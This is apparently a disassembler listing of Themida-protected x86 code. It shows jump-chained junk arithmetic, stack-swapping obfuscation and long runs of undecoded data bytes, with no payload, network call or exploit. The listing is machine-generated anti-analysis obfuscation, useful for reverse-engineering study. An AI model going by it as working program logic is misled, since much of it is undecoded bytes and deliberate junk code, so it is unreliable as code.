loc_56AC4B:				; CODE XREF: Themida_:00572187j
		inc	esi
		push	ebp
		mov	ebp, 0D4CB3B8Eh
		jmp	loc_573B2F
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC83240Ch, 24248904h, 4240481h, 59000000h, 4C181h
		dd 0C1810000h, 4, 2474FF51h, 48F5904h, 48F5C24h, 24248B24h
		dd 3987E9h, 5311E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AC8E:				; CODE XREF: Themida_:0056C797j
		movzx	eax, al
		jmp	loc_560750
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 8B241C33h, 0CD32424h, 4EE99C24h, 54000047h
		dd 0FF2434FFh, 0E95E2434h, 4CBh
; ---------------------------------------------------------------------------


loc_56ACB8:				; CODE XREF: Themida_:0056A654j
		mov	ebx, [esp]
		jmp	loc_5695C4
; ---------------------------------------------------------------------------
		dd 2474FF53h, 48F5B04h,	24248B24h, 24048966h, 0FF52CAE9h
		dd 89525CFFh, 82EFE9E2h, 0BD55FFFFh, 4AA764DDh,	2EE8BF57h
		dd 46E96CA9h, 4FFFFC7h,	34D8F601h, 58C288DCh, 0FF6C6BE9h
		dd 0F3895BFFh, 5B50535Eh, 826EE958h, 48BFFFFh, 0A09AE924h
		dd 48B0000h, 8EE1E924h,	0FF52FFFFh, 5A042474h, 8B24048Fh
		dd 0C8842424h, 5271E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD2E:				; CODE XREF: Themida_:00566CC4j
		push	2A020706h
		pop	ecx
		and	ecx, 24E05C1Bh
		or	ecx, 5E0157D2h
		jmp	loc_574157
; ---------------------------------------------------------------------------
		db 88h,	0C6h, 88h
		dd 6E95AF5h, 5DFFFF89h,	0A6D1E9h, 24248B00h, 0A651E9h
		dd 71F38100h, 0E94C9C1Eh, 0FFFFC122h
; ---------------------------------------------------------------------------


loc_56AD68:				; CODE XREF: Themida_:005700EEj
		shl	edx, 3
		push	eax
		mov	eax, 1B571EEFh
		jmp	loc_560AE6
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 74FF242Ch, 2C8B0424h, 16E95224h, 1FFFF79h, 9EDAE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD8E:				; CODE XREF: Themida_:005643ECj
		mov	ebp, 329940C1h
		or	ebx, ebp
		pop	ebp
		jmp	loc_56798F
; ---------------------------------------------------------------------------
		db 5Eh
		dd 870DE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ADA2:				; CODE XREF: Themida_:00569075j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_56B048
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 0CF10B62Dh, 4055D35h, 87000000h, 535C2404h, 0E9505B54h
		dd 0FFFF52DFh, 4EC81h, 1C890000h, 28BB24h, 0FB010000h
		dd 0DBE90B88h, 5800003Ch, 4C481h, 0C7810000h, 469BD1D6h
		dd 51AEED81h, 0FD294C08h, 51AEC581h, 55F4C08h, 60DF21F4h
		dd 0BE56E801h, 3FED5D3Fh, 8D68DEF7h, 89000011h,	64B82404h
		dd 0E9446C35h, 0FFFF86CDh, 630FB6BAh, 2E2C17Bh,	8104E2C1h
		dd 96364EEAh, 0F6C28139h, 31CED2C2h, 0E3E95AD5h, 53FFFF98h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 94D4E924h,	835BFFFFh
		dd 7AE904C4h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AE6B:				; CODE XREF: Themida_:00566D9Aj
		mov	ebp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_560043
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFF5DCE9h, 39E95BFFh, 0B900009Eh, 3974C0Fh,	3159CA89h
		dd 31D531EAh, 6884E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AE9E:				; CODE XREF: Themida_:00564502j
		sub	dword ptr [esp], 3C084177h
		pop	edx
		push	ebp
		mov	ebp, 20E87545h
		xor	ebp, 60A75598h
		jmp	loc_57470E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0BD3CE900h, 489FFFFh, 28A4B024h, 24048BC1h, 48B5450h
		dd 47EAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AED6:				; CODE XREF: Themida_:005664E0j
		xor	[esp], ebp
		jmp	loc_573E92
; ---------------------------------------------------------------------------
		dw 8F59h
		dd 895C2404h, 0ADBA2414h, 29553814h, 1CD4E9D0h,	0B3530000h
		dd 6AF38045h, 19E9DA00h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AEFF:				; CODE XREF: Themida_:0057014Ej
		pop	edi
		sub	edi, 60807FADh
		push	edi
		push	6763h
		mov	[esp], ebx
		jmp	loc_56F823
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 0E9243C87h, 5BE9h
; ---------------------------------------------------------------------------


loc_56AF28:				; CODE XREF: Themida_:00573877j
		mov	ebx, 147E6C73h
		jmp	loc_561435
; ---------------------------------------------------------------------------


loc_56AF32:				; CODE XREF: Themida_:0056617Bj
		add	ebx, 482B564Bh
		sub	esi, ebx
		jmp	loc_567A8B
; ---------------------------------------------------------------------------


loc_56AF3F:				; CODE XREF: Themida_:00572569j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_560937
; ---------------------------------------------------------------------------
aZpsG		db 'ZPé+£',0
		dd 8BF38900h, 0C9E92434h, 8FFFFFEAh, 55E92404h,	81FFFF72h
		dd 354733E9h, 0DC66E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AF76:				; CODE XREF: Themida_:0056A701j
		add	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_56B137
; ---------------------------------------------------------------------------
		db 0BDh
		dd 487E348Fh, 815DE931h, 0D8C6B5E9h, 81BA52E4h,	0F75C1A46h
		dd 62EA81D2h, 0E96DCA3Bh, 4B42h
; ---------------------------------------------------------------------------


loc_56AFA0:				; CODE XREF: Themida_:005630A5j
		or	cl, 39h
		shl	cl, 1
		add	cl, 1Bh
		or	dl, cl
		pop	ecx
		push	ecx
		mov	ch, 81h
		shl	ch, 1
		jmp	loc_5606E9
; ---------------------------------------------------------------------------


loc_56AFB5:				; CODE XREF: Themida_:005636C7j
		mov	ebx, [esp]
		push	34BAh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_560609
; ---------------------------------------------------------------------------
		db 5Ch,	33h, 2Ch
		dd 242C3124h, 8B242C33h, 89662424h, 0F66240Ch, 5166C8B6h
		dd 4FADE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AFF2:				; CODE XREF: Themida_:00563A69j
		add	esi, 520F92ABh
		add	ebp, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_567C76
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 81000000h,	0EF5701E9h, 2C0DE964h, 5AB90000h
		dd 17C307Ch, 6CE959CBh,	35FFFFDDh, 25EE6378h, 19574205h
		dd 2DBA5249h, 0E9A44A5Dh, 0FFFF9685h, 5C241C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56102D
; ---------------------------------------------------------------------------


loc_56B048:				; CODE XREF: Themida_:0056ADB9j
		pop	esp
		push	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_57504A
; ---------------------------------------------------------------------------
byte_56B06D	db 0FFh, 77h, 38h	; DATA XREF: Themida_:0055FD84o
		dd 876FE951h, 3C87FFFFh, 24248B24h, 4EC81h, 34890000h
		dd 46824h, 15E0000h, 0EC815EF5h, 4, 0BF243C89h,	2, 274CED81h
		dd 0FD0150B6h, 176DE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B0AA:				; CODE XREF: Themida_:005701AAj
		xchg	eax, ebx
		xor	eax, 54423624h
		jmp	loc_56C2FB
; ---------------------------------------------------------------------------
		db 0B0h, 0ADh, 88h
		dd 0D33058C3h, 66D8285Ah, 0EC99E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B0C6:				; CODE XREF: Themida_:00567517j
		xor	edx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_56D012
; ---------------------------------------------------------------------------
		dd 7015E95Eh, 0F1810000h, 0E898E16h, 0E8E9CB29h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B0E7:				; CODE XREF: Themida_:005707E3j
		sub	edx, 70FA7D16h
		sub	edx, 5556833Ah
		push	esi
		mov	esi, 433C4466h
		jmp	loc_5669EA
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0EE830000h, 24348704h, 2336E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B111:				; CODE XREF: Themida_:0056EC40j
		mov	eax, 681E6541h
		jmp	loc_5604E7
; ---------------------------------------------------------------------------


loc_56B11B:				; CODE XREF: Themida_:0056383Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		sub	ecx, 348F715Dh
		jmp	loc_573D07
; ---------------------------------------------------------------------------


loc_56B137:				; CODE XREF: Themida_:0056AF7Aj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_571C10
; ---------------------------------------------------------------------------


loc_56B143:				; CODE XREF: Themida_:0057298Ej
		pop	esp
		push	eax
		mov	eax, edx
		mov	edi, eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_56E982
; ---------------------------------------------------------------------------
		dw 42Dh
		dd 87000000h, 0E4E92404h, 89FFFF6Fh, 84BE2434h,	816F205Bh
		dd 894BDCF6h, 5EF08906h, 52AE981h, 0C18111CFh, 4132736Eh
		dd 0AEE9C101h, 83000090h, 0C48304C4h, 2BBD5504h, 0E90AF15Bh
		dd 0FFFF9A92h, 0E924148Bh, 0FFFF8BD5h, 2936EF81h, 0C7811300h
		dd 34ED6A1Dh, 416BE9h, 2434FF00h, 0E389535Eh, 4C381h, 0C3830000h
		dd 74FF5304h, 0E95B0424h, 0FFFFA086h
; ---------------------------------------------------------------------------


loc_56B1C8:				; CODE XREF: Themida_:00572C18j
		sub	ch, 0A1h
		add	ch, ah
		add	ch, 0A1h
		jmp	loc_5668F4
; ---------------------------------------------------------------------------


loc_56B1D5:				; CODE XREF: Themida_:00562E4Cj
		mov	esi, esp
		jmp	loc_566CB5
; ---------------------------------------------------------------------------
dword_56B1DC	dd 0E9240C8Bh, 0FFFFB84Ah ; DATA XREF: Themida_:0055FF50o
; ---------------------------------------------------------------------------


loc_56B1E4:				; CODE XREF: Themida_:0056C970j
		mov	eax, 0F7C6D91h
		sub	eax, 724148BCh
		jmp	loc_563160
; ---------------------------------------------------------------------------


loc_56B1F3:				; CODE XREF: Themida_:00564AC0j
		mov	[esp], edx
		pop	eax
		mov	edx, [esp]
		jmp	loc_572F17
; ---------------------------------------------------------------------------
		db 54h
		dd 0B9AAE95Fh, 0ED81FFFFh, 1B3F0333h, 0FFEB24E9h, 0F9CB9FFh
		dd 0A3E94B8Eh, 81FFFF52h, 4C4h,	5D545500h, 4C581h, 0C5810000h
		dd 4, 97E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B235:				; CODE XREF: Themida_:0056145Bj
		shl	edi, 2
		push	esi
		mov	esi, 0FDE63C5h
		or	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 82053516h
		push	esi
		mov	esi, edi
		push	eax
		mov	eax, esi
		push	eax
		pop	ebx
		pop	eax
		pop	esi
		jmp	loc_564D09
; ---------------------------------------------------------------------------
		db 68h
		dd 3EF1h, 53243C89h, 87ADE9h, 87685C00h, 89000034h, 0BFBF243Ch
		dd 8138134Bh, 0FFFFFFC7h, 0B1CF81FFh, 684D0438h, 31B7h
		dd 50240C89h, 0F5783B8h, 209E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B296:				; CODE XREF: Themida_:00562449j
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	edx
		push	ecx
		push	1BEB313Ah
		jmp	loc_56FE17
; ---------------------------------------------------------------------------
		db 52h,	53h, 0E9h
		dd 50F4h, 217B3C05h, 20D02D24h,	0E9533A4Fh, 3669h
; ---------------------------------------------------------------------------


loc_56B2C4:				; CODE XREF: Themida_:00572886j
		push	6357h
		mov	[esp], ebx
		push	edx
		push	488Ah
		mov	[esp], ecx
		jmp	loc_56754C
; ---------------------------------------------------------------------------


loc_56B2DA:				; CODE XREF: Themida_:0056E458j
		shl	esi, 7
		or	esi, 309E2B92h
		or	esi, 63B0300Eh
		add	esi, 2A2E391Ch
		add	ebx, 2D166BBEh
		jmp	loc_5722BB
; ---------------------------------------------------------------------------


loc_56B2FA:				; CODE XREF: Themida_:005674D1j
		mov	ebx, 1593FF1h
		push	ebx
		pop	esi
		pop	ebx
		jmp	loc_562890
; ---------------------------------------------------------------------------


loc_56B307:				; CODE XREF: Themida_:00570E33j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56AC29
; ---------------------------------------------------------------------------
		dd 5ED66855h, 2C8B7555h, 4C48124h, 81000000h, 0C74DF2E5h
		dd 997EE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B32A:				; CODE XREF: Themida_:00568201j
		mov	ebx, esi
		mov	esi, [esp]
		push	edx
		push	esp
		jmp	loc_56D777
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 1C927940h, 0CD4E9h, 31B45000h, 0E949CC80h, 4754h, 56FBF381h
		dd 9E2D7FF7h, 2D70BE70h, 50F258F1h, 767FB305h, 2DD80136h
		dd 36767FB3h, 0F258F105h, 709E0550h, 0A1E970BEh, 89FFFFBFh
		dd 9E9240Ch, 8100009Eh,	0A02869EAh, 0B9C28168h,	814FBE35h
		dd 0EE6BBAC2h, 5AD129B7h, 8159CF01h, 4ECh, 24348900h, 4BEh
		dd 4901E900h, 3C870000h, 52555C24h, 0A651E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B3B6:				; CODE XREF: Themida_:00560A7Fj
		add	esp, 4
		push	ecx
		mov	ecx, 652374FEh
		neg	ecx
		sub	ecx, 22655B92h
		add	eax, ecx
		pop	ecx
		sub	eax, 0BF91C3Ch
		sub	eax, 28350427h
		add	eax, edx
		add	eax, 28350427h
		jmp	loc_5681F5
; ---------------------------------------------------------------------------


loc_56B3E0:				; CODE XREF: Themida_:0056575Cj
		shr	eax, 0Eh
		xor	eax, ecx
		push	419Dh
		jmp	loc_5654CE
; ---------------------------------------------------------------------------
		db 33h
		dd 55C242Ch, 11A44048h,	0FFA4EFE9h, 87EB81FFh, 56148E41h
		dd 0D6CFE950h, 0C481FFFFh, 4, 0AE86E950h, 0DEF7FFFFh, 55ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_56B41D:				; CODE XREF: Themida_:0056A4B0j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_570FDA
; ---------------------------------------------------------------------------


loc_56B429:				; CODE XREF: Themida_:005709F1j
		sub	ebx, 38164261h
		inc	ebx
		push	esi
		mov	esi, 12CC4A09h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5708E9
; ---------------------------------------------------------------------------


loc_56B443:				; CODE XREF: Themida_:0056266Aj
		xor	ebx, [esp]
		pop	esp
		push	4380h
		mov	[esp], ecx
		push	6A49h
		mov	[esp], eax
		push	esi
		mov	esi, 62604585h
		push	0
		sub	dword ptr [esp], 3D1274E9h
		jmp	loc_564F91
; ---------------------------------------------------------------------------
		dw 168h
		dd 0FF000000h, 2C8B2434h, 4C48124h, 57000000h, 0BE56E789h
		dd 4, 59FAEF81h, 0F7015FCBh, 59FAC781h,	835E5FCBh, 0D1E904ECh
		dd 0B9000047h, 1138295Fh, 3BF9E941h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B4AA:				; CODE XREF: Themida_:0056BF98j
		pop	ebx
		add	esp, 4
		jmp	loc_56A89D
; ---------------------------------------------------------------------------


loc_56B4B6:				; CODE XREF: Themida_:0056EB45j
		pop	ecx
		push	esi
		jmp	loc_56C785
; ---------------------------------------------------------------------------


loc_56B4BD:				; CODE XREF: Themida_:0056BB60j
		inc	ecx
		sub	ecx, 5676367Fh
		mov	edx, ecx
		pop	ecx
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		jmp	loc_5643AB
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 74246D63h, 0A98AB951h, 0CF31EF42h, 0FFA2B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B4E5:				; CODE XREF: Themida_:00566BABj
		shl	ecx, 1
		jmp	loc_5717FC
; ---------------------------------------------------------------------------
		dd 4FF5C281h, 83594136h, 94E904ECh
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B4FB:				; CODE XREF: Themida_:00560192j
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 1AA0B7B6h
		jmp	loc_561217
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0A6E95058h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B517:				; CODE XREF: Themida_:005665D6j
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, 2801673Bh
		not	ecx
		and	ecx, 26BF3AC3h
		sub	ecx, 0A8A1E38Bh
		and	ecx, 7DB157AFh
		jmp	loc_56F3EC
; ---------------------------------------------------------------------------
		dd 0E906E0C0h, 0FFFFF7ABh
; ---------------------------------------------------------------------------


loc_56B544:				; CODE XREF: Themida_:00569FB3j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	0ABFh
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		push	327237CAh
		jmp	loc_5635BE
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 2DB76824h, 24890000h, 4BD5524h, 1000000h
		dd 5D04246Ch, 5D2434FFh, 7A0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56B599:				; CODE XREF: Themida_:00564681j
		shl	ebx, 6
		jmp	loc_5614DA
; ---------------------------------------------------------------------------
		db 49h,	81h, 0E9h
		dd 5CF60CEDh, 7F91BE56h, 0BB53AF5Dh, 76B4784Ah,	0FF6131E9h
		dd 48B850FFh, 5780F09h,	0E95C0ACBh, 7382E9h, 0E9C50100h
		dd 0FFFFBC00h
; ---------------------------------------------------------------------------


loc_56B5D0:				; CODE XREF: Themida_:00569D45j
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_573CC3
; ---------------------------------------------------------------------------
		dd 0DC6BB82Dh, 0C0835940h, 0D2E1E904h, 0C181FFFFh, 4, 30E168h
		dd 24048900h, 4B8h, 58C12900h, 5C240C87h, 0FF7F3EE9h, 241C89FFh
		dd 0FF5E5CE9h, 80C1FEFFh, 8FE9B0F1h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B61F:				; CODE XREF: Themida_:0057274Bj
		mov	[esp], edx
		mov	dh, 3Fh
		shl	dh, 1
		or	dh, 0E7h
		dec	dh
		add	dh, 67h
		or	bh, dh
		pop	edx
		shl	bh, 2
		dec	bh
		push	2E17h
		mov	[esp], eax
		push	ebx
		jmp	loc_569F11
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 5DC9h, 5704C483h, 0BA696CBFh, 8BF8013Bh
		dd 0C483243Ch, 0E9D80104h, 0FFFF844Ch, 81E38953h, 4C3h
		dd 4C38300h, 31241C33h,	1C33241Ch, 6FB1E924h, 0F001FFFFh
		dd 7874E9h, 81E78900h, 4C7h, 4EF8300h, 0FF83D9E9h, 6DBA52FFh
		dd 0E9449900h, 3649h, 0FF48FAE9h, 5BDD88FFh, 8B59EF88h
		dd 0C4812404h, 4, 8805C780h, 241C8BFDh,	0FF7E71E9h, 0EA815FFFh
		dd 42B40A3Eh, 0C281F201h, 42B40A3Eh, 0FFFAD8E9h
		db 0FFh
byte_56B6D5	db 64h,	0FFh, 32h	; DATA XREF: Themida_:0055FE54o
		dd 0FF48C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B6DD:				; CODE XREF: Themida_:00571FC5j
		add	esp, 4
		neg	edi
		push	esi
		mov	esi, 2EECE500h
		jmp	loc_5670EE
; ---------------------------------------------------------------------------
		db 5Ah,	20h, 0F8h
		dd 937FE9h, 241C8900h, 5004E8BBh, 8C68514Dh, 0E965D151h
		dd 32B6h
; ---------------------------------------------------------------------------


loc_56B708:				; CODE XREF: Themida_:00568B46j
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, 14266CCCh
		not	ecx
		inc	ecx
		jmp	loc_56F591
; ---------------------------------------------------------------------------
		db 53h
		dd 0FA446DBBh, 582E6821h, 4DE90000h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B72F:				; CODE XREF: Themida_:005725F4j
		add	eax, 4
		add	eax, 4
		jmp	loc_56C0ED
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 4, 3C8BFA01h, 47F76824h,	0C890000h, 0E9595424h
		dd 0FFFFA4ABh, 5C241C87h, 0FF5ADEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B761:				; CODE XREF: Themida_:00573467j
		add	eax, 182E3672h
		add	ebx, 105A1AD2h
		add	ebx, eax
		push	5EDCh
		mov	[esp], ecx
		mov	ecx, 7695672Ah
		inc	ecx
		shr	ecx, 3
		neg	ecx
		shl	ecx, 8
		xor	ecx, 3D0901D2h
		sub	ebx, ecx
		pop	ecx
		pop	eax
		add	ebx, eax
		push	5508h
		mov	[esp], eax
		mov	eax, 6D541BE0h
		shl	eax, 5
		push	ebx
		jmp	loc_565361
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 55F9E924h, 0C3830000h, 241C8704h, 86FCE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B7BA:				; CODE XREF: Themida_:0057504Dj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 76413E9Bh
		mov	edx, esi
		jmp	loc_569D82
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C4h
		dd 42BA5204h, 0C121A704h, 0DAF703EAh, 330E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B7E1:				; CODE XREF: Themida_:0056BA5Bj
		mov	eax, 88ED87DBh
		add	eax, edx
		pop	edx
		sub	esi, eax
		jmp	loc_571108
; ---------------------------------------------------------------------------
		dd 6C030559h, 0D5050984h, 178CE67h, 4FBD55D0h, 0F70AA276h
		dd 95EFE9DDh, 805A0000h, 0EB8048EBh, 0E3EB8063h, 0FF89CCE9h
		dd 3FB5FFh, 0C30059EBh,	803FEB80h, 0EB8079EBh
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	2BD33A7Dh
		jmp	loc_574C8C
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 524248Bh, 2D4849A7h,	2257BE56h, 0EEC14C3Fh, 14F68103h
		dd 4E071E39h, 0FF85DEE9h, 0C28966FFh, 0FF736FE9h, 81E789FFh
		dd 4C7h, 4C78100h, 87000000h, 555C243Ch, 81E28952h, 4C2h
		dd 4BD5500h, 29000000h,	14875DEAh, 8F545C24h, 4812404h
		dd 424h, 2434FF00h, 81242C8Bh, 4C4h, 59545100h,	4C181h
		dd 0C1810000h, 4, 0E9240C87h, 0FFFF48CAh, 407DEE81h, 0B9513485h
		dd 7FD927D2h, 57E9CF29h, 33000053h, 248B242Ch, 1EFC6824h
		dd 0EBE90000h, 5700001Ch, 67FEB850h, 52E905F0h,	83FFFF81h
		dd 1C8704C3h, 0F0015C24h, 6952BA05h, 0C0835E58h, 24048704h
		dd 0E924248Bh, 0FFFFC835h, 310B68h, 24148900h, 0E753A5BAh
		dd 500FE937h, 0D901FFFFh, 4C1835Bh, 5C240C87h, 4C481h
		dd 54510000h, 4C18159h,	81000000h, 4C1h, 240C8700h, 241C8B5Ch
		dd 81E18951h, 4C1h, 4448E900h, 0C4830000h, 9A9AE904h, 0F5800000h
		dd 59E82824h, 241C8B66h, 0E902C483h, 65EBh, 2404875Bh
		dd 924248Bh, 0E99C2404h, 0FFFF9415h, 35DB951h, 0CA290B9Bh
		dd 8E2C159h, 843C281h, 0D6314659h, 0BA52575Ah, 16131EDCh
		dd 15AD789h, 0F1015FF9h, 1EDCE981h, 685E1613h, 6AA1h, 0FF240C89h
		dd 0E9042474h, 0FFFF8B00h
; ---------------------------------------------------------------------------


loc_56B9D0:				; CODE XREF: Themida_:0056992Bj
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_56F4E8
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 815E2404h, 425994C6h, 0C6BA52FDh, 684B1E54h,	7BB1h
		dd 0B9240C89h, 520F2D63h, 0C8BCA09h, 7E07E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BA06:				; CODE XREF: Themida_:00560458j
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_57448D
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 1B13288Eh, 0FF88AAE9h, 240401FFh, 9E240481h,	81606B56h
		dd 7AF72404h, 55E9528Dh, 58FFFFDDh, 3142D787h, 0E9FA31D7h
		dd 83E5h
; ---------------------------------------------------------------------------


loc_56BA40:				; CODE XREF: Themida_:005715B8j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56571C
; ---------------------------------------------------------------------------


loc_56BA49:				; CODE XREF: Themida_:00575407j
		sub	edi, 3B7B7B97h
		add	edi, edx
		jmp	loc_56F93F
; ---------------------------------------------------------------------------


loc_56BA56:				; CODE XREF: Themida_:0057148Aj
		mov	edx, 7BB6568Eh
		jmp	loc_56B7E1
; ---------------------------------------------------------------------------
		dd 27DCE981h, 0E90160E8h, 27DCBA52h, 0C18160E8h, 6A720509h
		dd 0E981D101h, 6A720509h, 9E9815Ah, 5D1F265Ch, 615968h
		dd 24048900h, 0FFB70CE9h, 0E2ED81FFh, 5259F02Fh, 4C0164BAh
		dd 4FCA813Bh, 81753642h, 0D1510C2h, 0BAC58190h,	815B153Bh
		dd 0C863F8EDh, 81D50162h, 0C863F8C5h, 0BAED8162h, 5A5B153Bh
		dd 4EC81h, 4890000h, 486FB824h,	0D8F70C2Ah, 2699782Dh
		dd 11ED81A7h, 10D7600h,	11C581C5h, 580D7600h, 0E0895058h
		dd 405h, 4E88300h, 0E9240487h, 0FFFFF27Ah, 4B9h, 0E9CB0100h
		dd 0FFFF7723h
; ---------------------------------------------------------------------------


loc_56BB08:				; CODE XREF: Themida_:00567204j
		add	esp, 4
		push	edx
		jmp	loc_56F0E2
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 0C1h
		dd 814A02E2h, 8C8647F2h, 5AD62932h, 40F6C681h, 0C681042Dh
		dd 48816C72h, 3CE5E9h, 81DDF700h, 0D2DD81EDh, 5DE889FBh
		dd 48BC589h, 4C48324h, 0B7BAE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BB4A:				; CODE XREF: Themida_:00570A2Dj
		add	edx, edi
		push	ebp
		mov	ebp, 174A2ABDh
		sub	edx, ebp
		jmp	loc_570567
; ---------------------------------------------------------------------------


loc_56BB59:				; CODE XREF: Themida_:005745CAj
		push	edx
		push	ecx
		mov	ecx, 56763682h
		jmp	loc_56B4BD
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 76h
		dd 89FFFFDEh, 0CABF243Ch, 815F2279h, 644B6BF7h,	23BB5328h
		dd 2959E308h, 0DFF75BDFh, 0C108E7C1h, 0F78103EFh, 139AB044h
		dd 0E95FFE01h, 2AADh
; ---------------------------------------------------------------------------


loc_56BB98:				; CODE XREF: Themida_:00574860j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_57474B
; ---------------------------------------------------------------------------


loc_56BBAB:				; CODE XREF: Themida_:00565D9Bj
		mov	[esp], edx
		jmp	loc_560CE1
; ---------------------------------------------------------------------------


loc_56BBB3:				; CODE XREF: Themida_:0056D5C8j
		xor	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56047D
; ---------------------------------------------------------------------------


loc_56BBC6:				; CODE XREF: Themida_:00572597j
		mov	edx, [esp]
		add	esp, 4
		not	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		dec	edx
		xor	edx, 68F67B6Fh
		mov	ecx, edx
		pop	edx
		push	esi
		jmp	loc_56C52E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 815E2434h, 4C4h,	24048F00h, 809AE95Ch, 895C0000h
		dd 0BE68243Ch, 8900005Fh, 4812424h, 424h, 9685F00h, 0E900003Dh
		dd 0FFFFBCF2h, 24148B54h, 4C481h, 0C2810000h, 4, 0FF9313E9h
		db 0FFh
